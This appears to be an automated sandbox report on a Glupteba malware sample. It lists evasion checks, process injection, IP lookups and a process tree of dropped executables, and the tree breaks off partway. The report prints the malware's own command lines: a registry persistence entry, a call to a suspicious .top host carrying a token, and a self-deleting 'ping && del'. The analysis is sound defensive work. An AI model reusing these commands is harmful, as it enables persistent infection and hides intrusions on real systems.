glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	YOjOvKxUYCyjtIxzXLdi1qkV.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	YOjOvKxUYCyjtIxzXLdi1qkV.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	pd_VoOdxV0pcK53tUnywQyWh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	pd_VoOdxV0pcK53tUnywQyWh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Setup (12).exe

Loads dropped DLL 2 IoCs

pid	Process
4152	taVPic7tLTyMkb3aW_pC64Np.tmp
4152	taVPic7tLTyMkb3aW_pC64Np.tmp

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral8/files/0x000100000001ab9f-127.dat	themida
behavioral8/files/0x000100000001abbb-151.dat	themida
behavioral8/files/0x000100000001aba8-143.dat	themida
behavioral8/files/0x000100000001abbb-141.dat	themida
behavioral8/memory/2204-240-0x00000000003D0000-0x00000000003D1000-memory.dmp	themida
behavioral8/memory/204-236-0x0000000000F60000-0x0000000000F61000-memory.dmp	themida
behavioral8/files/0x000100000001aba8-170.dat	themida
behavioral8/files/0x000100000001ab9f-159.dat	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	pd_VoOdxV0pcK53tUnywQyWh.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	YOjOvKxUYCyjtIxzXLdi1qkV.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 14 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
196	ipinfo.io
368	ipinfo.io
199	ipinfo.io
201	ipinfo.io
298	ip-api.com
370	ipinfo.io
32	ipinfo.io
182	ipinfo.io
123	ipinfo.io
190	ipinfo.io
324	ipinfo.io
31	ipinfo.io
121	ipinfo.io
323	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2204	pd_VoOdxV0pcK53tUnywQyWh.exe
204	YOjOvKxUYCyjtIxzXLdi1qkV.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1916 set thread context of 4528	1916	Conhost.exe	111
PID 2396 set thread context of 4596	2396	rKJvw0zmwubNEyCUpqAmeDs6.exe	110
PID 2620 set thread context of 4644	2620	fJZ9fW4p5iceFw_uSN4MHmzw.exe	112

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 35 IoCs

pid	pid_target	Process	procid_target
4160	1328	WerFault.exe	83
4148	2588	WerFault.exe	88
4620	1328	WerFault.exe	83
3700	2588	WerFault.exe	88
4764	2588	WerFault.exe	88
2264	1328	WerFault.exe	83
4936	1328	WerFault.exe	83
4308	2588	WerFault.exe	88
5540	1328	WerFault.exe	83
5524	1328	WerFault.exe	83
5600	2588	WerFault.exe	88
5624	2588	WerFault.exe	88
5764	1328	WerFault.exe	83
5816	2244	WerFault.exe	101
5852	2588	WerFault.exe	88
6028	2244	WerFault.exe	101
4400	2244	WerFault.exe	101
2824	2244	WerFault.exe	101
2640	2244	WerFault.exe	101
2836	1880	WerFault.exe	200
3296	2244	WerFault.exe	101
6216	4784	WerFault.exe	124
6880	4784	WerFault.exe	124
3296	4784	WerFault.exe	124
6412	4784	WerFault.exe	124
3324	4784	WerFault.exe	124
5444	4784	WerFault.exe	124
5068	4784	WerFault.exe	124
5564	4784	WerFault.exe	124
692	2316	WerFault.exe	199
4680	2316	WerFault.exe	199
5952	2316	WerFault.exe	199
5924	4784	WerFault.exe	124
7940	4896	WerFault.exe	113
7704	5972	WerFault.exe	159

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7pKXn5hlnUUo5fTHalIgSaBT.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7pKXn5hlnUUo5fTHalIgSaBT.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7pKXn5hlnUUo5fTHalIgSaBT.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
5176	schtasks.exe
7640	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
7408	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
6284	taskkill.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
6308	PING.EXE
5956	PING.EXE

Script User-Agent 12 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	194	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	197	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	334	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	346	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	369	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	122	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	123	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	187	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	328	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	374	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	131	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	136	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3272	Setup (12).exe
3272	Setup (12).exe
3520	7pKXn5hlnUUo5fTHalIgSaBT.exe
3520	7pKXn5hlnUUo5fTHalIgSaBT.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	792	aoTbVrvq33YSWSb6_nL8ZjJa.exe
Token: SeDebugPrivilege	196	PEbhdLk30eBJtme3qnj72jxb.exe
Token: SeDebugPrivilege	2096	cWWMCk4MWyJFZ2bzIH9opzdL.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4152	taVPic7tLTyMkb3aW_pC64Np.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 792	3272	Setup (12).exe	86
PID 3272 wrote to memory of 792	3272	Setup (12).exe	86
PID 3272 wrote to memory of 2068	3272	Setup (12).exe	84
PID 3272 wrote to memory of 2068	3272	Setup (12).exe	84
PID 3272 wrote to memory of 2068	3272	Setup (12).exe	84
PID 3272 wrote to memory of 2504	3272	Setup (12).exe	80
PID 3272 wrote to memory of 2504	3272	Setup (12).exe	80
PID 3272 wrote to memory of 2504	3272	Setup (12).exe	80
PID 3272 wrote to memory of 2096	3272	Setup (12).exe	82
PID 3272 wrote to memory of 2096	3272	Setup (12).exe	82
PID 3272 wrote to memory of 2096	3272	Setup (12).exe	82
PID 3272 wrote to memory of 1328	3272	Setup (12).exe	83
PID 3272 wrote to memory of 1328	3272	Setup (12).exe	83
PID 3272 wrote to memory of 1328	3272	Setup (12).exe	83
PID 3272 wrote to memory of 2396	3272	Setup (12).exe	81
PID 3272 wrote to memory of 2396	3272	Setup (12).exe	81
PID 3272 wrote to memory of 2396	3272	Setup (12).exe	81
PID 3272 wrote to memory of 1916	3272	Setup (12).exe	187
PID 3272 wrote to memory of 1916	3272	Setup (12).exe	187
PID 3272 wrote to memory of 1916	3272	Setup (12).exe	187
PID 3272 wrote to memory of 2704	3272	Setup (12).exe	79
PID 3272 wrote to memory of 2704	3272	Setup (12).exe	79
PID 3272 wrote to memory of 2704	3272	Setup (12).exe	79
PID 3272 wrote to memory of 2620	3272	Setup (12).exe	89
PID 3272 wrote to memory of 2620	3272	Setup (12).exe	89
PID 3272 wrote to memory of 2620	3272	Setup (12).exe	89
PID 3272 wrote to memory of 2588	3272	Setup (12).exe	88
PID 3272 wrote to memory of 2588	3272	Setup (12).exe	88
PID 3272 wrote to memory of 2588	3272	Setup (12).exe	88
PID 3272 wrote to memory of 2204	3272	Setup (12).exe	87
PID 3272 wrote to memory of 2204	3272	Setup (12).exe	87
PID 3272 wrote to memory of 2204	3272	Setup (12).exe	87
PID 3272 wrote to memory of 204	3272	Setup (12).exe	95
PID 3272 wrote to memory of 204	3272	Setup (12).exe	95
PID 3272 wrote to memory of 204	3272	Setup (12).exe	95
PID 3272 wrote to memory of 196	3272	Setup (12).exe	93
PID 3272 wrote to memory of 196	3272	Setup (12).exe	93
PID 3272 wrote to memory of 196	3272	Setup (12).exe	93
PID 3272 wrote to memory of 2424	3272	Setup (12).exe	105
PID 3272 wrote to memory of 2424	3272	Setup (12).exe	105
PID 3272 wrote to memory of 2424	3272	Setup (12).exe	105
PID 3272 wrote to memory of 3520	3272	Setup (12).exe	104
PID 3272 wrote to memory of 3520	3272	Setup (12).exe	104
PID 3272 wrote to memory of 3520	3272	Setup (12).exe	104
PID 3272 wrote to memory of 2444	3272	Setup (12).exe	103
PID 3272 wrote to memory of 2444	3272	Setup (12).exe	103
PID 3272 wrote to memory of 2444	3272	Setup (12).exe	103
PID 3272 wrote to memory of 3464	3272	Setup (12).exe	102
PID 3272 wrote to memory of 3464	3272	Setup (12).exe	102
PID 3272 wrote to memory of 3464	3272	Setup (12).exe	102
PID 3272 wrote to memory of 2244	3272	Setup (12).exe	101
PID 3272 wrote to memory of 2244	3272	Setup (12).exe	101
PID 3272 wrote to memory of 2244	3272	Setup (12).exe	101
PID 3464 wrote to memory of 4152	3464	taVPic7tLTyMkb3aW_pC64Np.exe	107
PID 3464 wrote to memory of 4152	3464	taVPic7tLTyMkb3aW_pC64Np.exe	107
PID 3464 wrote to memory of 4152	3464	taVPic7tLTyMkb3aW_pC64Np.exe	107
PID 2424 wrote to memory of 4372	2424	gi0d4b9xVPDO0kr5jZTVkHkN.exe	118
PID 2424 wrote to memory of 4372	2424	gi0d4b9xVPDO0kr5jZTVkHkN.exe	118
PID 2424 wrote to memory of 4372	2424	gi0d4b9xVPDO0kr5jZTVkHkN.exe	118
PID 1916 wrote to memory of 4528	1916	Conhost.exe	111
PID 1916 wrote to memory of 4528	1916	Conhost.exe	111
PID 1916 wrote to memory of 4528	1916	Conhost.exe	111
PID 2620 wrote to memory of 4544	2620	fJZ9fW4p5iceFw_uSN4MHmzw.exe	179
PID 2620 wrote to memory of 4544	2620	fJZ9fW4p5iceFw_uSN4MHmzw.exe	179

C:\Users\Admin\AppData\Local\Temp\Setup (12).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (12).exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Users\Admin\Documents\s30N0kVyIiY8aLpnKIAVJTuF.exe
  "C:\Users\Admin\Documents\s30N0kVyIiY8aLpnKIAVJTuF.exe"
  2⤵
  - Executes dropped EXE
  PID:2704
- - C:\Users\Admin\Documents\s30N0kVyIiY8aLpnKIAVJTuF.exe
    "C:\Users\Admin\Documents\s30N0kVyIiY8aLpnKIAVJTuF.exe"
    3⤵
    PID:4720
- C:\Users\Admin\Documents\7iGLcNgsNkKruecm7_Eml8H2.exe
  "C:\Users\Admin\Documents\7iGLcNgsNkKruecm7_Eml8H2.exe"
  2⤵
  - Executes dropped EXE
  PID:2504
- C:\Users\Admin\Documents\rKJvw0zmwubNEyCUpqAmeDs6.exe
  "C:\Users\Admin\Documents\rKJvw0zmwubNEyCUpqAmeDs6.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2396
- - C:\Users\Admin\Documents\rKJvw0zmwubNEyCUpqAmeDs6.exe
    C:\Users\Admin\Documents\rKJvw0zmwubNEyCUpqAmeDs6.exe
    3⤵
    - Executes dropped EXE
    PID:4596
- C:\Users\Admin\Documents\cWWMCk4MWyJFZ2bzIH9opzdL.exe
  "C:\Users\Admin\Documents\cWWMCk4MWyJFZ2bzIH9opzdL.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2096
- C:\Users\Admin\Documents\Q129WpniAnv0F2xfGFt40U8J.exe
  "C:\Users\Admin\Documents\Q129WpniAnv0F2xfGFt40U8J.exe"
  2⤵
  - Executes dropped EXE
  PID:1328
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 660
    3⤵
    - Program crash
    PID:4160
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 692
    3⤵
    - Program crash
    PID:4620
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 836
    3⤵
    - Program crash
    PID:2264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 744
    3⤵
    - Program crash
    PID:4936
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1176
    3⤵
    - Program crash
    PID:5540
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1128
    3⤵
    - Program crash
    PID:5524
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1328 -s 1120
    3⤵
    - Program crash
    PID:5764
- C:\Users\Admin\Documents\XsKXIDdDvL3UzQKEaKawVsMF.exe
  "C:\Users\Admin\Documents\XsKXIDdDvL3UzQKEaKawVsMF.exe"
  2⤵
  - Executes dropped EXE
  PID:2068
- C:\Users\Admin\Documents\fp09Dt8a0_B3YQYEWI9Z6nsH.exe
  "C:\Users\Admin\Documents\fp09Dt8a0_B3YQYEWI9Z6nsH.exe"
  2⤵
  PID:1916
- - C:\Users\Admin\Documents\fp09Dt8a0_B3YQYEWI9Z6nsH.exe
    C:\Users\Admin\Documents\fp09Dt8a0_B3YQYEWI9Z6nsH.exe
    3⤵
    - Executes dropped EXE
    PID:4528
- C:\Users\Admin\Documents\aoTbVrvq33YSWSb6_nL8ZjJa.exe
  "C:\Users\Admin\Documents\aoTbVrvq33YSWSb6_nL8ZjJa.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- - C:\Users\Admin\AppData\Roaming\7239268.exe
    "C:\Users\Admin\AppData\Roaming\7239268.exe"
    3⤵
    - Executes dropped EXE
    PID:4896
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4896 -s 2092
      4⤵
      Program crash
      PID:7940
- - C:\Users\Admin\AppData\Roaming\4570390.exe
    "C:\Users\Admin\AppData\Roaming\4570390.exe"
    3⤵
    - Executes dropped EXE
    PID:4928
  - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
      4⤵
      PID:4268
- C:\Users\Admin\Documents\pd_VoOdxV0pcK53tUnywQyWh.exe
  "C:\Users\Admin\Documents\pd_VoOdxV0pcK53tUnywQyWh.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2204
- C:\Users\Admin\Documents\P0qLMPCAH5S25EmUfCCfmISm.exe
  "C:\Users\Admin\Documents\P0qLMPCAH5S25EmUfCCfmISm.exe"
  2⤵
  - Executes dropped EXE
  PID:2588
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 660
    3⤵
    - Program crash
    PID:4148
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 676
    3⤵
    - Program crash
    PID:3700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 716
    3⤵
    - Program crash
    PID:4764
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 684
    3⤵
    - Program crash
    PID:4308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 1160
    3⤵
    - Program crash
    PID:5600
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 1144
    3⤵
    - Program crash
    PID:5624
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 1068
    3⤵
    - Program crash
    PID:5852
- C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe
  "C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe
    C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe
    3⤵
    PID:4544
- - C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe
    C:\Users\Admin\Documents\fJZ9fW4p5iceFw_uSN4MHmzw.exe
    3⤵
    - Executes dropped EXE
    PID:4644
- C:\Users\Admin\Documents\PEbhdLk30eBJtme3qnj72jxb.exe
  "C:\Users\Admin\Documents\PEbhdLk30eBJtme3qnj72jxb.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:196
- C:\Users\Admin\Documents\YOjOvKxUYCyjtIxzXLdi1qkV.exe
  "C:\Users\Admin\Documents\YOjOvKxUYCyjtIxzXLdi1qkV.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:204
- C:\Users\Admin\Documents\i_FUIQYwWE97qn9onEiL9DmU.exe
  "C:\Users\Admin\Documents\i_FUIQYwWE97qn9onEiL9DmU.exe"
  2⤵
  - Executes dropped EXE
  PID:2244
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 760
    3⤵
    - Program crash
    PID:5816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 812
    3⤵
    - Program crash
    PID:6028
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 816
    3⤵
    - Program crash
    PID:4400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 828
    3⤵
    - Program crash
    PID:2824
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 960
    3⤵
    - Program crash
    PID:2640
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 988
    3⤵
    - Program crash
    PID:3296
- C:\Users\Admin\Documents\taVPic7tLTyMkb3aW_pC64Np.exe
  "C:\Users\Admin\Documents\taVPic7tLTyMkb3aW_pC64Np.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Users\Admin\AppData\Local\Temp\is-6R0D0.tmp\taVPic7tLTyMkb3aW_pC64Np.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-6R0D0.tmp\taVPic7tLTyMkb3aW_pC64Np.tmp" /SL5="$10200,138429,56832,C:\Users\Admin\Documents\taVPic7tLTyMkb3aW_pC64Np.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    PID:4152
  - - C:\Users\Admin\AppData\Local\Temp\is-SPHRE.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-SPHRE.tmp\Setup.exe" /Verysilent
      4⤵
      PID:3764
    - - C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"
        5⤵
        
        PID:4784
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 816
        6⤵
        Program crash
        
        PID:6216
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 820
        6⤵
        Program crash
        
        PID:6880
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 968
        6⤵
        Program crash
        
        PID:3296
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 992
        6⤵
        Program crash
        
        PID:6412
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 1020
        6⤵
        Program crash
        
        PID:3324
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 1356
        6⤵
        Program crash
        
        PID:5444
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 1328
        6⤵
        Program crash
        
        PID:5068
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 1360
        6⤵
        Program crash
        
        PID:5564
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 908
        6⤵
        Program crash
        
        PID:5924
    - - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        5⤵
        
        PID:4264
      - C:\Users\Admin\AppData\Local\Temp\is-FFAGV.tmp\Inlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FFAGV.tmp\Inlog.tmp" /SL5="$401F4,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        6⤵
        
        PID:1228
        
        C:\Users\Admin\AppData\Local\Temp\is-S2UTA.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-S2UTA.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        7⤵
        
        PID:6356
        
        C:\Users\Admin\AppData\Local\Temp\is-9PAC8.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9PAC8.tmp\Setup.tmp" /SL5="$202FE,17369384,721408,C:\Users\Admin\AppData\Local\Temp\is-S2UTA.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        8⤵
        
        PID:6976
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-AP0DD.tmp\{app}\microsoft.cab -F:* %ProgramData%
        9⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-AP0DD.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        10⤵
        
        PID:1228
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        9⤵
        
        PID:6192
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        10⤵
        
        PID:1144
        
        C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        9⤵
        
        PID:5984
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        9⤵
        
        PID:5980
        
        C:\Users\Admin\AppData\Local\Temp\is-AP0DD.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-AP0DD.tmp\{app}\vdi_compiler"
        9⤵
        
        PID:3640
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-AP0DD.tmp\{app}\vdi_compiler.exe"
        10⤵
        
        PID:3924
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        11⤵
        Runs ping.exe
        
        PID:5956
    - - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        5⤵
        
        PID:4892
      - C:\Users\Admin\AppData\Local\Temp\is-P7LRU.tmp\WEATHER Manager.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P7LRU.tmp\WEATHER Manager.tmp" /SL5="$102D4,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        6⤵
        
        PID:1144
        
        C:\Users\Admin\AppData\Local\Temp\is-RD4U5.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-RD4U5.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
        7⤵
        
        PID:908
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-RD4U5.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-RD4U5.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629273110 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
        8⤵
        
        PID:5400
    - - C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"
        5⤵
        
        PID:4752
    - - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
        5⤵
        
        PID:1680
      - C:\Users\Admin\AppData\Roaming\5519624.exe
        
        "C:\Users\Admin\AppData\Roaming\5519624.exe"
        6⤵
        
        PID:5972
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5972 -s 2144
        7⤵
        Program crash
        
        PID:7704
      - C:\Users\Admin\AppData\Roaming\6165061.exe
        
        "C:\Users\Admin\AppData\Roaming\6165061.exe"
        6⤵
        
        PID:6040
      - C:\Users\Admin\AppData\Roaming\2012700.exe
        
        "C:\Users\Admin\AppData\Roaming\2012700.exe"
        6⤵
        
        PID:6096
      - C:\Users\Admin\AppData\Roaming\5694145.exe
        
        "C:\Users\Admin\AppData\Roaming\5694145.exe"
        6⤵
        
        PID:4316
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
        5⤵
        
        PID:4324
      - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
        6⤵
        
        PID:4156
    - - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
        5⤵
        
        PID:2736
      - C:\Users\Admin\Documents\BJqagyxIDgj_BtcfoZLXNv4M.exe
        
        "C:\Users\Admin\Documents\BJqagyxIDgj_BtcfoZLXNv4M.exe"
        6⤵
        
        PID:6008
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        Executes dropped EXE
        
        PID:4544
      - C:\Users\Admin\Documents\nFBAW3tSjRWLs8N0Mt4__dRM.exe
        
